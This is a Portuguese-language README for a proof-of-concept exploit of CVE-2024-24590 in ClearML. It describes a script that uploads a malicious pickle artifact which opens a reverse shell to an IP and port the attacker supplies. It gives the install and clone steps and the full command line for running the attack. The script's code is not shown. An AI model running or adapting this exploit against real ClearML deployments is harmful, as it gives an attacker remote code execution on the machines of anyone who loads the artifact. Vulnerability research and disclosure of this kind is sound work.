
Prova de conceito para CVE-2024-24590
_____ _ __ __ _ _____ ____ _____
/ ____| | | \/ | | | __ \ / __ \ / ____|
| | | | ___ __ _ _ __| \ / | | | |__) | | | | |
| | | |/ _ \/ _` | '__| |\/| | | | ___/| | | | |
| |____| | __/ (_| | | | | | | |____ | | | |__| | |____
\_____|_|\___|\__,_|_| |_| |_|______| |_| \____/ \_____| - 2024-24590 x OxyDe
Este projeto demonstra como fazer upload dinâmico de um artefato pickle para o ClearML com parâmetros configuráveis via argumentos de linha de comando. O script inicializa uma tarefa ClearML, configura dinamicamente um comando para execução de shell reverso e o carrega como um artefato. (PoC-CVE-2024-24590)
Referência : https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/
clearmlargparsepickleosInstale o pacote ClearML:
pip install clearml
Clone o repositório:
git clone https://github.com/OxyDeV2/PoC-CVE-2024-24590.git
cd PoC-CVE-2024-24590
Para executar o script, use o seguinte comando com os argumentos apropriados:
python script.py --project_name "<project_name>" --task_name "<task_name>" --tags <tag1> <tag2> ... --artifact_name "<artifact_name>" --ip "<ip_address>" --port "<port>"
Agradecimentos ao Skriix :)